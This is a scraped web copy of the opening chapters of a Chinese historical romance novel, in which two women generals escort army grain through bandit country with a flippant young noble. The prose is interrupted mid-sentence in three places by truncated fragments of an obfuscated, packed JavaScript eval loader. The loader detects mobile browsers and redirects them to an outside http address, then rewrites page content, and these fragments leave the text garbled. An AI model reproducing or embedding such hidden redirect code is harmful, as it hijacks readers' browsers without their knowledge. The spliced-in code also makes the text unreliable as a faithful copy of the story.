《她自成蹊》 1. 雨夜 肆虐的暴雨绵绵无际,浓雾里缓缓驶近一辆吱呀乱响的破马车。 被雨水打湿翅膀的飞蛾脱力地落到一枚晶亮的箭尖,而箭尖纹丝未动。 顾曾借力倚着一颗枝桠,挽弓似满月,微眯的目光亮如鹰隼,沉声道:“阿姐,来人已至百步内。” 射程之中,她无人可匹敌,只待来人露面,定叫他亲口尝尝自己脑花的味道。 “再等等。”领队的女子打着手势,按捺下潜伏在四周的手下,嘱咐道,“阿曾,你莫出手,不可误伤百姓。” 顾曾浅浅“啧”了一声,收起弓箭,稍稍活动四肢,肩胛处便传来一阵“噼里啪啦”的骨头响。“这押粮的活儿当真不是人干的。”她心中腹诽,眼神却不敢离开那马车半分。 转瞬间,她对大道中间孤零零站着的林霜低声吆喝:“阿姐,五十步了,再不拿下怕是要失了先机。” 可林霜依旧是那句:“再等等。” 今夜无星无月,雨水会冲刷掉所有血污,最适合杀人越货,而在这荒郊野外迎面行来的马车里,藏的必定不是什么善茬。 喘着粗气的老马似是感受到了不安,一声刺耳的嘶鸣,停在了林霜面前十步之遥。 暴雨如柱,水汽氤氲得教人看不真切。 马车内传来窸窸窣窣的交谈声,顾曾耳力上佳,只听得一个男人沙哑的呼喊声,零星说了几句:“二……不敢……不要……” 车帘猛地一动,顾曾搭箭上弦的一刹,一个圆滚滚做富商打扮的中年男子连滚带爬地从马车上旋转而下,一个大马趴跪在了林霜面前。 瞧这架势,他似乎是被人当个球直截从马车上踢下来的。 林霜没搞清楚对面在唱哪出,紧了紧眉,中气十足道:“这位兄台快快请起。” 富商“哎哟哎哟”叫着爬起,脸上被迫浮起一个五官紧凑的局促笑容,说:“有道是,那个……有缘千里来相会,和这位……姑娘?” 他走近了才看清,眼前人竟是个手持斩马|刀、容貌清丽的英武女将,一时有些怀疑自己的眼睛,畏畏缩缩地寻觅四周,却再没瞧见第二个身影。 “这位仁兄在找谁?”顾曾哂笑一声,轻轻从树上跃到林霜身侧。 她身形如鬼魅,富商只见她突然蹿出,惊得连连后退,“不敢、不敢。”晌久他才鼓足勇气抬眼看,发现竟是个披甲戴胄的妙龄少女。 顾曾手持一把半人高的大弓,目光冷寒,与林霜并排而立,在这死气沉沉的黑夜里,活像两尊地狱来的索命无常。 顾无常动了动眉梢,凝视着马车微微飘拂的车帘,冷冷道:“叫车里那人也下来。” “什么?”富商舌头一打结,愣了下方缓过神来,好声好气道,“姑娘有所不知,在下那个姓姓姓白……” 顾曾:“我又没问你叫什么,你先让他下来再来套近乎也不迟。” “姑娘不知,车里的那位是……是……”富商欲哭无泪,眼神止不住马车里瞟。 林霜不禁冷笑:“是哪位大人,还是山大王?” 富商连连摆手,“不是不是,是在下的那个……儿子,犬子体弱多病,受不了风寒的。” 顾曾笑道:“你都怕成这样了,你儿子却要你独身应付。依我看,这不孝子不要也罢,我这就替你清理门户。” 说罢,她骤然拉起一箭,箭身势如破竹地穿帘而入,马车内只留一片阒寂。 恰好一个响雷袭来,石破天惊地响彻山谷,也映得富商脸色惨白。他此刻再去阻止为时已晚,两片肥厚的唇止不住地颤动,终于化作一声撕心裂肺的嚎叫:“哎哟,完咯,我的二……” “差一点儿。”马车里倏地响起一声轻笑。 众目睽睽之下,那神秘的车内人终于手执箭身褰帘而出,身姿潇洒自如,全然不似个病秧子。他朗声笑道:“就差这么一点点,姑娘就可以要我的命啦。” 顾曾不屑道:“要的便是差这一点,不然阁下肯乖乖下车么?” 那人缓缓走近,摊开手掌,“喏,姑娘的箭,还请收好。” 又是一声响雷炸开,冰冷凄厉的白光闪过一瞬,映出那人身形。 这是一弱冠之龄的少年,身着玄色长袍,生得俊美无俦,神色间盛满恬淡疏阔,仿佛此刻并非身处荒川险境,而是泛舟在游般,轻巧地掬了把山风与满月入此身。 他带着天生的清贵,仿佛事不关己,只在冷眼旁观。 富商见他安然无恙,后知后觉地擦了把满脸的鼻涕和吓出的眼泪,恰到好处地把适才的哀嚎喊出:“我的儿哟,吓死你老子我……” 那少年瞟了他一眼,他即刻改口:“吓死我这个无能的爹咯。” 四人面面相觑站了一会,谁也没多说一个字。 林霜等了许久也没等来对面的“援兵”,赧然之情不禁溢于言表,率先抱拳道:“还以为二位是泥腿子的斥候,多有失礼,在此赔罪。阿曾,你也来。” 顾曾的直觉告诉她,这两人虽然不是匪徒,也应该不是什么好东西,当下只不情不愿打了个揖。 富商见好就收,喜笑颜开道:“二位姑娘,在下姓白,是做绸缎生意的,领着我儿出来见世面,不料碰上山匪将家底都抢光了。如今在这荒川野岭无依无靠,不知二位姑娘可否载我二人一程?” 顾曾冷笑:“这山匪真是仁至义尽,抢别人都是剁成肉馅,抢你二人倒好,连衣服都给你们留身干净的。不过这些倒也无妨,”她扬起一个不怀好意的笑容,“不知二位要去哪?” 白富商不做解释,一揖至地,“阆州。” “哎哟这可不巧,”顾曾对惊诧的林霜火速使了个眼色,“我们是往渭城去的,不顺路,二位慢走不远送。” 白富商面露为难之色,“这个这个……” 他儿子小白,那个大逆不道的小白脸语不惊人死不休,突然开口道:“二位大人不是奉命运粮去阆州么?怎么粮还没运到,人就要打道回府了呢?” 白富商白眼一掀,险些昏过去。 顾曾霎时眉目如刀,喝道:“知道还装什么孙子,跟着我们可是会死得更快,识相的就滚远点。” 林霜拦下她,忧心忡忡道:“二位不知,我等一路前来受阻颇多,前路恐有隐忧,二位跟着我等实非明智之举。” “是是是,您说得对。”白富商在雨中擦了把不存在的虚汗,偷偷抬眼望向他家不肖子,“那不然我们走?” 小白脸冥顽不灵:“不,小爷我偏偏就要跟着你们。” 顾曾手指一拨,抬出腰间一段雪亮的寒刃,冷笑道:“兄台找死么?” 白富商扯着他家小白脸的衣袖哭丧道:“哎哟我的爷,我的祖宗,你就少说两句罢。” 小白脸没心没肺一笑,抬手一甩,将他爹当个球一样拨到一边,道:“知道我这爹是谁么?他叫白望农,是堂堂仓部员外,特奉圣命巡视阆州。二位大人这运粮的差事就算干得再好,没把小爷哄开心了,我老白爹一个折子参上去,就叫你们吃不了兜着走。” “瞧你这眼神,不信是么,不信你看看这是什么?”他边说边掏出一纸符牒,林霜只来得及看清户部的官印,那符牒便被大雨洇成了一团千疮百孔的废纸。 世人对皮囊姣好的人总是格外偏待,可此刻,顾曾很想把这小子的脑袋拧下来给他爹当球踢。 白大人扭着胖乎的身躯过来,短小的手指指着小白脸,欲哭无泪,“你你你,哎哟你说这些干嘛,我们商量好的不是这样的嘛。” “哎呀,爹——”小白脸拿腔作势喊了一声,白望农便跟踩了老虎夹子一样,身躯一震,登时不多言了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186683|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“二位女将军慧眼如炬,咱们那点小九九怎么瞒得过她们蕙质兰心呢?倒不如乖乖说实话。” 白望农:“是……” 从未见过活得这么像孙子的老子。 小白脸转头又对顾曾二人笑道:“二位大人,考虑得怎么样了?给你们两个选择,一,在此把我二人灭口;二,老老实实把我二人当佛爷供着送到阆州。” 在大漠吹了十几年的沙子,顾曾还没见到狂到这种地步的傻子。她抽出半截刀刃,映出一双锋利的眼眸,“我选一。” 白望农见势不妙,哇哇大叫地滚到一旁。 “阿曾,别冲动。”林霜费了好大力气才把她杀气腾腾的刀摁回剑鞘,“朝廷命官你也敢杀?” 顾曾:“这俩人一看就不是什么好东西,就算对他们礼遇有加,也难保他们回去不会胡言乱语。” 话虽如此,可林霜是天底下最循规蹈矩、安分守己的老实人,顾曾终究是没能成功对白大人下手,只得看着他们的马车混在粮车中间,被负责的林将军守得严严实实。 上车前,那遭人恨的小白脸还不忘对她回眸一笑。 顾曾暗骂一声:“真当自己是什么风流无二的人物了,比你好过百倍的人我都见过,还能稀罕你么?” 不过她心里再如何不忿,还是要依令行事。主将要护着他们,她身为副将,只得言听计从。 运粮大军继续上路,直至雨势渐歇,曙光渐盛,漫长的一夜终于过去,众人枕戈待旦,早已疲惫不堪。 林霜命人歇息,自己则领着几个兵巡逻放哨。顾曾被白望农响彻天地的呼噜声吵得睡不着,又没人撒气,只好起身跟着巡逻。 “阿姐,你去歇罢,我守着。”她看了眼憔悴的林霜,心有不忍,“不知那帮混蛋什么时候又出现,你是主心骨,可不能倒下。” 林霜噙起一个若有若无的微笑,“几时这么懂事了?果真是长大了就能成贴心小棉袄,还好你小时候犯浑我手下留了情没把你打死,不然现在还享不了这个福呢。” 顾曾打趣:“等回了渭城,阿姐你天天什么都不用干,连沐浴我都可随身伺候。” 往常她要是这么嘴贫,保准屁股上得挨一巴掌,可今日的林将军也不知怎么了,只知唉声叹气。 “唉,要是真能早点回去就好了。”她枯槁的视线掠过蜿蜒的车队,“以我们如今的境遇,实在是一车粮也丢不得了。” 一行人从河内至西南阆州,两千里官道四通八达、宽阔气派,开道的高头大马两侧悬着威风凛凛的“铸光”军旗,原以为能震慑宵小,不料却成了沿路百姓的救命稻草。 可这是运给西南前线的军粮。 林霜无奈之下,只好命下属以铁盾开道,挡住饿殍高高扬起以求救的双手,闭了眼把良心撕碎了咽到肚子里去。 运粮队轮番放哨,彻夜不休,饶是如此,几番拉锯之下,还是丢了将近两成的粮食。 顾曾那时还心道:“还好阿姐有先见之明,早就猜到路上会被抢,多备了些仓中盈余,否则这简单的运粮任务怕是得要了我们俩的脑袋。” 入西南府前,他们得防着无路可走的流民。可自打入了西南府,事情就变得更糟了。 此处山高林深,不见灾民,只有一重接一重的山头,随便一个里面都可能藏着数千的山匪。 这些人做的是刀尖舔血的勾当,乱世之下,只要被他们盯上,管你是军是民,身上有没有值钱玩意,定会被盘剥得骨头都不剩——何况他们本就是一块浩浩汤汤行走的砧板肉。 刚至西南府不久,众人就遭遇了一伙训练有素的山匪,抢了他们一小半的粮食不说,还伤了不少弟兄。 顾曾与林霜都心知肚明,这才只是小打小闹而已,不把他们一行人吃干抹净,那些匪徒是不会善罢甘休的。 2. 万春 几日奔波,一路却顺利得出奇。 各个山头的老大也不知是被朝廷招了安,还是在酝酿一出大戏,不约而同的偃旗息鼓,放任林霜这支运粮队在山中游走。 一连数日的警戒下来,顾曾早就累得上下眼皮不知打了几回架,眼看着前面要到青城,人烟渐多,匪徒不大可能偷袭,她这才找了团粮袋倚靠,半梦半醒地睡去。 这一觉睡得不短,再醒来的时候,粮队已过了青城。 入目湛空如洗,暮色四合,草长莺飞。四月时节,若是还在渭城,她大概正在沙漠里捉狐狸打鸟。边塞日子苦寒,可也不像现在这般,要把脑袋系在腰带上讨生活。 鼻尖传来一丝若有若无清香,顾曾这才发现自己身上披了件华贵的鹤氅,其上花纹精美繁复,看得她眼晕——他们军中是决计不会有这种东西的。 她跃上马,骑到白望农的马车一侧,敲敲窗板,面无表情地奉上衣服,“多谢白大人。” 有人卷帘接过鹤氅,笑道:“不用谢。姑娘夙兴夜寐,小爷我再没良心也不忍看着你受苦。” 顾曾一瞥,看见了一张挂着狡黠笑容的小白脸。 他开始大放厥词:“还暖和罢?我这大氅可是陛下……” 顾曾手中一送劲,连人带衣服给他塞进了车里,抬手一抽,卷好的车帘“唰”的落了下来,世界复归清净。 “姑娘,”小白脸不依不饶地把车帘再次卷起,对着顾曾的背影喊道,“敢问姑娘芳名?年龄几何?可有婚配?若无婚配,可有意中人?” “咳咳咳咳咳咳!”白望农爆出一阵撕心裂肺的咳声,险些被他这个好大儿给气得去见祖宗。 顾曾没理会,提缰缓缓向前。 “阿曾,”小白脸抬高了声音,引得众人侧目,“我也可以这样叫你么?” 一柄雪亮的钢刃飞来,堪堪擦过他的鼻尖。 顾曾比划着短刀,双颊燥红,恶狠狠道:“再叫一声,割了你舌头。” “那姑娘想要我如何称呼?”小白脸不见惧色,一双妩媚的桃花眼中盛满了笑意,奇的是,却不显轻浮。 有些神情猥琐的人做什么都显得下流,而此人行径虽惹人厌恶,却又仿佛和这些卑劣的词汇沾不上一丝一毫的联系。 仿佛他叫她“阿曾”就当真只为知道她的名字,而此刻他的笑也并非插科打诨,好似他就真的只是想对她笑一笑,不经意间流露出他的天命风流。 顾曾与他那双极亮的眼眸对视片刻,微微一笑,“滚。” “好的,我这就滚。”小白脸不急也不恼,听话地放下卷帘。 就在顾曾以为这家伙终于学乖了的时候,他果然不负众望,又将卷帘抬了个缝,偷偷瞧她,悄声道:“我其实知道你的名字,早在京城我就看过调令了,你阿姐林霜是主将,你是副将,顾曾,对么?” 忍无可忍,顾曾扬起一枚飞刀,刀刃擦着白大人那稀疏的头顶而过,牢牢嵌入木板中,马车中霎时响起了白大人杀猪般的嗷嗷乱嚎声。 顾曾清冷而倨傲地盯着缝隙中的那双眼,“无聊且不知廉耻。” “姑娘别动怒,”小白脸好声好气冲她眨眨眼,唇角浮现一丝笑意,“在下只是想同姑娘正式拜会,别无他意。” 顾曾这些时日没休息好,吹着冷风和他置了这么久的气,有些神情恍惚,头痛欲裂,当下终于学会不再睬他,一夹马腹,驶到了队伍最前方。 那小白脸怔怔望着她远去的背影,没人在意的时候,他倏地释怀一笑。 此后,不论小白脸再怎么费尽心思和她搭茬,顾曾都没再分给他半刻眼神,而他也终于知道见好就收,整日窝在马车中,不再自讨没趣。 难得清静几日。 这日傍晚时分,众人行至万春镇。 此处离阆州不过百里之遥,民风尚算纯粹,看上去也未曾受到饥荒波及,大部分百姓可称安居乐业。 有不少摊贩正在城门口卖自家的瓜果蔬菜,对一旁几个衣衫褴褛的乞儿避之不理,视而不见。 众乞儿看到车队便知道来了活,霎时热闹起来,有的敲着手中的破碗围着人说好话,有的止不住磕响头。 林霜是大善人,但是手头不宽裕,又怕惹来人哄抢军粮,只好从自己的口粮中挪了一些分发,再多的,再大的善人也给不起了。 白望农下车来舒展筋骨,他那宝贝儿子正忙着和一摊贩讨价还价,顾曾见他开始作妖,便偷偷留意着,心想等他被百姓围攻暴打时,她还可以跟着帮帮百姓忙。 小白脸:“店家,枇杷怎么卖?” 小贩看了眼他身后尘土飞扬的大部队,又低下头,“一篮二百文。” “多少?”小白脸气笑了,打着折扇,摇头晃脑开始指点江山,“如今正是成熟期,时新枇杷在京城也不至这个价,你这里还是盛产地,如此狮子大开口,真当小爷我不懂行么?” 小贩:“如今不太平,生意不好做,我们也是被逼无奈。” 小白脸拿腔拿调:“万春镇临近阆州,好歹也是一方重镇,安宁侯在此,褚大人治理,何来不太平之说?尔等刁民休要胡言乱语。” 那小贩像看疯子一样看了他一眼,说道:“你爱怎么说怎么说罢,总之这几个月山贼泛滥成了灾,还尽好抢些新奇的瓜果,我家山头的果园子都快被他们薅秃了……” “等等……”小白脸手中折扇一停,紧了紧眉,心有灵犀般回身看向顾曾,果然见她神色紧绷。 顾曾冲他使了个眼色,示意他继续。 小白脸会意,从怀里掏出个银块掷给小贩,笑道:“大哥,山贼都爱吃你家果子,看来我得买来尝尝,当冤大头我也认了。” 也不知是不是为了赔罪,他提起一篮枇杷,强行塞到了顾曾手里。 给了钱便是爷,那小贩笑得两眼直眯,福气话如流水般滔滔不绝:“姑娘肯定爱吃,公子人善心慈,姑娘貌美无双,真是天造地设的一对……” 顾曾“咯吱”攥住篮柄,眼中映出一团腾腾怒气,把篮子丢给小白脸,“你自己留着磨牙罢。” “欸阿曾,先别走呀。”小白脸凑近,压低了声音,“忍忍,穷乡僻壤的,你还想要他说出什么好听的话,没祝你早生贵子就不错了。” 恰在此时,小贩喊出一句唱戏般绵长的祝福:“愿公子姑娘两位大善人喜结连理、早生贵子——” “哈、哈哈,”小白脸局促地笑了两声,飞快闪出两步远,“为了大局,阿曾你便牺牲一下。” 他跃到那摊贩面前,“老板,多谢!话说太满可就不吉利啦。你这果子我家……咳,舍妹喜欢得紧,正巧我们来阆州贩粮,同你换些可好?” 小贩连连摇头,“不成不成,现在粮价贱得很,一斛卖不到三十文,我家囤的粮食几年都吃不完,怎能再同你换?”说罢,他悲悯地看了二人一眼,“客官,你们要去阆州卖粮食?哎哟哟,那可真是要亏得血本无归呶,如今家家户户都不缺粮,粮食连山贼都瞧不上来抢,你们卖怎么能卖的出去呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186684|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 顾曾叫这番话说得心中大惊,一股寒意从脚底直渗到了天灵盖。 西南的崇山仿佛一张无形大口,不知不觉已将他们诱至咽喉。 “阿姐!”她丢下有可能被暴打的小白脸,匆忙来到林霜身旁,已是冷汗遍布,“有问题,从圣旨到沿途这一路,全有问题。” 林霜对她从未狐疑,见她神色不妙,心知定有大事,安抚道:“别急,你说清楚些。” 顾曾:“适才那摊贩说阆州从来就不缺粮,那军需何苦要我们千里迢迢从渭城送来?粮食泛滥,粮价低贱,圣旨却言今西南辎重吃紧,这根本就是假的,也不知是陛下听了哪个奸佞之言才下了这道圣旨。” 林霜的眉心现出一道因常年思虑而嵌刻的皱纹,沉默不言。 顾曾又道:“若是如此,那安宁军传去京城的讯息又是真是假?倘若前线状况不明,殿下他、他……”她的胸膛剧烈起伏着,素日苍白的双颊因血气翻涌而现出醉人的殷红。 林霜道:“圣旨既下,你我无权过问,你又如此……” “是……阿姐,是我不对,我又莽撞。”顾曾敷衍道,“可我怕姜旬有危险,现如今整个西北都离不开他,这可是天大的事。” 林霜扬眉,“你待如何?” 顾曾定了定神:“先把粮食送到阆州,待交付给仓官,阿姐你回军中等我消息,我去云雾山走一趟。” 位于西南边境的云雾山曾经山清水秀,如今常驻大昭的十万精兵,还隐匿着数万楚人,几场大仗下来,恐怕早已烧得尸横遍野,寸土不生。 好在顾曾是在一望无垠的黄沙中长大的,生来便不知畏惧为何物。而渭城的凛风也不止让她孤傲,也早已将她浑身骨血练化为了铁,最不怕烈火淬炼。 顾曾道:“若云雾山无碍,我有信心能全身能退。可若是你们等不到我消息,定要把事情告诉小姑,要她无论如何也得驰兵救急。” 林霜心乱如麻,眉心拧得看不出纹理来。 “阿姐,”顾曾握住她的手,“你多年来恪尽职守,从未辱命,如今叫你依着我任性行事,实在是强你所难。可大昭不能没有西北,西北战线不能没有姜旬,你就当是为了大局……” 林霜只道:“事关重大,入了阆州再看看,兴许是那摊贩心怀鬼胎,胡言乱语。不亲眼见到阆州的情况,我不会信。” 顾曾微微颔首,沉吟道:“这便是我第二个担心的事情——阿姐,他们恐怕不会让我们活着到阆州。” 若那摊贩所言为真,西南不缺粮食,山匪为隐藏行迹也不会大量囤货居奇,那先前和他们交手的匪徒想必便不是为这一车车的军粮而来,而是只为杀人…… 上一次交手山匪未能将林霜等人一击毙命,索性抢了他们一部分东西来掩藏自己真正的意图。而他们蛰伏这么久还未出手,显然不是改邪归了正,而是在等待真正一剑封喉的时机。 而这时机,就会在从万春镇到阆州这百里之间。 “所以这是个圈套,”顾曾冷笑道,“有人想搅弄西南战事,谎称军粮吃紧,但又不想把真相散播出西南府,便买通山匪,杀人灭口。” 她活这么大,最不愿做的便是别人局中的一步死棋,不明不白被吞吃,却连执棋者为谁都不知道。此人既视她等性命于不顾,她还偏偏就要翻腾出水花给那人瞧瞧。 顾曾牙疼似的笑了一声,咬着后槽牙,“铸光军只是多年偃旗息鼓,又不是死绝了,敢打咱们的主意,要他有来无回。” 3. 青山 林霜下令继续赶路。 白望农急急忙忙往马车里钻,却被一个脏兮兮的小乞儿拦住,勾住他衣角,说道:“好心的老爷,赏点吃的吧,阿平饿了。” 白望农看着自己衣服上的黑手印,那叫一个心疼,杀猪般嚎叫起来:“适才救济了你们那么多,如今还来要,当真是冥顽不化的蛀虫,再大的皇仓也得被你们吃空,滚啊,滚啊!” “嚎什么屁话呢,老头,挡我道了,你先滚一步。”他家小白脸从身后蹿出,对着他屁股来了一脚,白望农连滚带爬地上了车。 小白脸张扬一笑,从怀里寻出个物什塞到那名为“阿平”的乞儿手中,挑了挑眉:“小孩儿,小爷赏你的。下次讨饭长点脑子,那个肥头大耳的肉球看起来像是有良心的人吗?” 阿平捧着他的赏赐左看右看,小脸微微一皱,随手丢进了路边的泥泞中。“大哥哥……吃、吃的!”他还是不依不饶。 小白脸顿时英眉倒竖:“你你你,你怎么这么不识好歹?” 顾曾双手抱在胸前,本是在一旁默默看着,此刻见这俩人一个气得跳脚,一个懵懂无知,实在是看不下去了。 “小鬼,接着。”她大袖一挥,便有个硕大的荞麦饼飞了来。 阿平一跃接住,抱着那比脸还大的饼欢天喜地说起了吉祥话:“大姐姐福如东海、寿比南山。” 顾曾从泥里捡起小白脸的“赏赐”,定睛一看,登时面沉似水——那竟是个鸽子蛋一般大的东珠!通体浑圆,色泽光亮,无半分瑕疵,拿来买下整个万春镇想也不成问题。 “不识货呀不识货。”小白脸“啧啧”两声,从她手里将东珠拿回,复而踱至阿平面前,说,“小孩儿,你拿着这玩意,叫上你的弟兄们,去找你们这最大的官,要他好好安顿你们,给你们住的吃的,还得供你们读书。他要是敢不听,你就去阆州找你们西南巡抚告状。” 这般年纪的孩子,很多事情有心无力,拿着这东珠去换银子也守不住自己的一亩三分地,倒不如换个前路顺遂坦荡来得实在。 阿平半信半疑,但既然是别人白给的,又说得这么玄乎其神,他这次不敢再丢,便小心收好,又端出一连串的祝词,将小白脸哄得飘飘欲仙。 “对,没错,多说几句,小爷我爱听。”某些脸皮奇厚的人将扇子打得起飞。 白望农在马车里偷窥,看着直心疼得肝颤,弱弱道:“二……儿啊,你对这帮刁民也用不着这么阔绰罢。” 小白脸叫他扫了兴,冷冷地道:“滚。” “……”白望农乖乖放下帘子,不敢多吭一声。 顾曾几乎可以确定,这两个人并非亲生父子,白望农的身份想来不假,但这“小白脸”不像他的儿子,只怕是个更加位高权重的公子。 他大概并非哪位簪缨世家的世子——各大世家哪怕权倾朝野也多少会顾忌些面子,对白望农这种实权在身的官员一向谦和,不会养出小白脸这般混蛋的玩意。 但瞧白望农这畏头畏尾的样子,此人莫非是哪位白龙鱼服的皇子? 顾曾轻抬了下唇角,心道:“这不是送上门来的脱身妙计么?” 她难得笑一下,小白脸遂恬不知耻地凑上前来:“阿曾,想什么呢笑这么开心,给我也说说?” 顾曾眼中不起波澜,如实答道:“在想你。” 小白脸霎时神色古怪,脸色由白转红,由红再转紫,眼神乱飞,嘴角抽搐,想纵声大笑却又不敢恣意妄为,仿佛把这辈子的酸甜苦辣又细细品尝了一回。 他磕巴道:“阿曾,你……你再说一遍。” 顾曾叹了口气,掀了掀眼皮,“在想你……是哪位屈尊纡贵的殿下。” 小白脸愣怔片刻,这才释怀地笑了一声,慨叹“说者无心,听者却有意”,他轻摇折扇没头没尾来了一句:“今天是……唔,四月十七,天朗气清。” 顾曾:“所以?” 风卷来一阵梧桐与竹叶的碎香,他垂下眼眸,细长的睫毛遮住他本就云烟缭绕的神色,眼角不知为何却红了一刹,连嘴角凝固住的笑容也显得不那么真切。 顾曾在那一刻觉得他要哭了,她可不想给人当老妈子,欠身道:“告辞。” “我叫程彧!阿曾,你先别走。”他叫住顾曾的背影,嗓音发颤,“恐怕教你失望了,我不是什么皇子……我叫程彧,你也可以叫我容与。” 那一刻,顾曾被定在原地,瞳孔缩成一瞬,思绪千丝万缕扭成一团乱麻。 程彧……程家的二公子?在话本先生的排行榜中,位列世家纨绔公子榜首,遥遥领先第二名五百票。 程家百年显赫,近些年势头之盛更是无人可及。这权柄滔天的一家人向来和穷乡僻壤的西南两不沾,如今插手局势,来的还是最娇贵的程二公子,这简直比皇子下放微服私访来得还要说不通。 程彧被她晾在身后半晌,吹着透心的风,不自然地蹭了蹭鬓角的碎发,无奈笑了一声:“阿曾,你也太伤人了罢,就算没听说过,好歹也理一理我不是么。” 顾曾回身一揖,将心底的弯弯绕绕全都掩盖起来,朗声道:“原来是程二公子。二公子说笑,五王八侯都已成为过去,但天下谁人不识二公子?鼎鼎大名,如雷贯耳。” 这是实话,苦寒之地的将士每年总能听到些从京城流传来的故事,粗略估计,其中得有五成出自这位程二公子。 在纨绔遍地开花的京城,此人的离谱程度也是独树一帜。 如今见到本人,可知传言非虚。 “当真?”程彧的眼神却陡然亮了,神色赧然道,“原来你早就知道我,我还怕你会记不住我的名字。” 顾曾觉得他这没由来的亲近别有用心,不敢贸然应对,好在此时林霜已经等不及上路,程二公子再怎么依依不舍,也架不住林将军的铁爪魔心,被硬生生塞进了马车。 顾曾头疼的毛病又犯了,试图去理清,却发现问题太多,而留给他们的时间太少。 程家为何要插手西南?白望农究竟是个小跟班,还是有自己的任务?他又为何会和程彧在一起?还有程彧,为什么那么古怪? 她心神不宁到无法思考,眼尾与心脏一齐突突狂跳不止。 眼前群峰连绵,曲流绕山。 过了万春镇,官道陡然变窄,许多路段不过是悬空搭在半山腰的木栈,如同一条摇摇欲坠的腰带,横穿西南的层峦叠嶂。 此起彼伏的猿啼于空谷回响,映着栈道上层层寒霜。 “明朝骑马摇鞭去,秋雨槐花子午关。”程彧在马车里没心没肺地吟着诗,白望农则死死攀住马车窗缘,快被脚下的万丈深渊吓得背过气去。 众人连夜赶路,下木栈时,正赶上清晨霜露最浓的时候。 顾曾附在林霜耳边悄声道:“我预感他们要在此处下手,来不及去阆州叫阿姐你验个清楚。你若信我,便令兄弟姐妹们别再顾及,贼寇若敢来,全力杀出去方有生路。” 死局是有人操控的,目的是为了控制西南战局,那么只要姜旬在云雾山大胜,班师回朝后不愁没有人为他们这些无辜遭罪的小兵说话,西南这个局就被盘活了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但见漫山遍野抡着刀枪的山匪已经黑压压地杀了过来,一个没忍住,白大人直吓得屁滚尿流。 程彧也听到了动静,抬步便要出马车,被白望农死死抱住了大腿。白大人上下一起排水:“二公子,可不能出去啊,您身份贵重,陛下临走前特意交代要护好您的周全,您要是有个闪失……” 一路的废话听来,程彧的耳朵早就生茧了,扬手就是一巴掌,把白望农扇得眼前一黑,晕了过去。 林霜经历过大小不知多少次战役,此刻心无旁骛的背水一战,以立在地上的斩马|刀为轴,长枪横刀一起上,已杀得周围人仰马翻,血流成河。 顾曾的手臂受过伤,短兵相接会力不从心,便令部下抽剑相迎,自己则纵马狂奔,双手一刻不歇,一箭一匪,不落一击。她策马经过程彧时,随意一瞥,发现这家伙身边竟没人保护,可他却不见惧色。 程彧颇有闲心地对顾曾扬手,笑道:“不知顾将军还缺不缺人手?” 顾曾拔刀砍翻一个背后袭来的贼寇,喊道:“白大人呢?” “在里面睡觉呢,叫我们不用管他。”程彧对她晃了晃自己不知从哪整来的佩剑,雪亮的刀刃泛着华光,“顾将军,带我一起上?” 顾曾:“没时间。” 震天的喊杀声中,程二公子没脸没皮轻笑道:“好嘛,阿曾,其实我都快怕死了,你保护我一下好不好?” 顾曾两眼一掀,呼出一口想把他碎尸万段的恶气,单手提马碾过几个袭来的敌人,右手长刀切菜一般割过。 骏马于程彧面前高高扬起烙着精铁的前蹄,吼出一阵清亮的嘶鸣。顾将军白皙的半张脸浸在飞溅的血水里,如雪落红梅,对程彧探出手来。 “上马。” 4. 烈马 程彧的指尖烫得骇人,顾曾握住他时宛如触到了一块火热的烙铁。 她弯腰避开匪徒刺来的一枪,回手一个飞刀,骏马腾挪甩身,顾将军手上一带,程二公子拔地而起。 “啊啊啊啊阿曾,你悠着点。”程彧一声哀嚎后,稳稳落在了她身后的马背上。 适才这力道使大了,顾曾右臂的旧伤一阵剧痛,不禁伸手揉了两下,险些被一个山匪砍中,低骂一声:“……可恶。” 程彧一眼看出她带伤,急道:“阿曾,你的伤碍事么?” “还轮不到二公子来操心。”顾曾游刃有余地单手持缰,骏马的铁蹄“訇”的一声落到那山匪面前,吓得他当场愣住,被顾将军即刻斩于马下。 程彧第一次乘这么烈的马,差点被当场颠飞。顾曾交战之余还得随时留意着他,好几次抢在二公子坠马前将他捞了回来。 几番如此,二人一马已是险象迭生。顾曾忍无可忍,吼道:“大哥,你能不能坐稳点?” 程二公子委屈巴巴:“我连个扶的东西都没有,坐不稳……” 顾曾登时会意,暗骂他无耻,眼一闭心一横,说道:“抱紧我。” “啊?好。”程彧本有一瞬的犹豫,但见她双目通红,再磨叽恐怕连自己也得被砍上一刀,只好小心翼翼环住她的腰身。 顾将军身上有清冽的幽香,如山泉似明月,隐在浓重的铁腥中。 精铁制成的甲胄比寒冰还要刺骨,碎痕交织,不知历过几场大战。她腰身纤细,仿佛只要盈盈一握——终日操劳,这身粗粝的战甲对她来说果然还是太大了些。 少了后顾之忧,顾曾耍起来便顺手多了,就是苦了娇生惯养的二公子,被她折腾得出奇得安静,看模样,似是正憋了一口气不让自己呕出来。 铸光军骁骑营与数百匪徒大战半个时辰,杀得青山染红,尸横遍野,血流成河。 晨曦逐渐明朗,今日又是个好天。 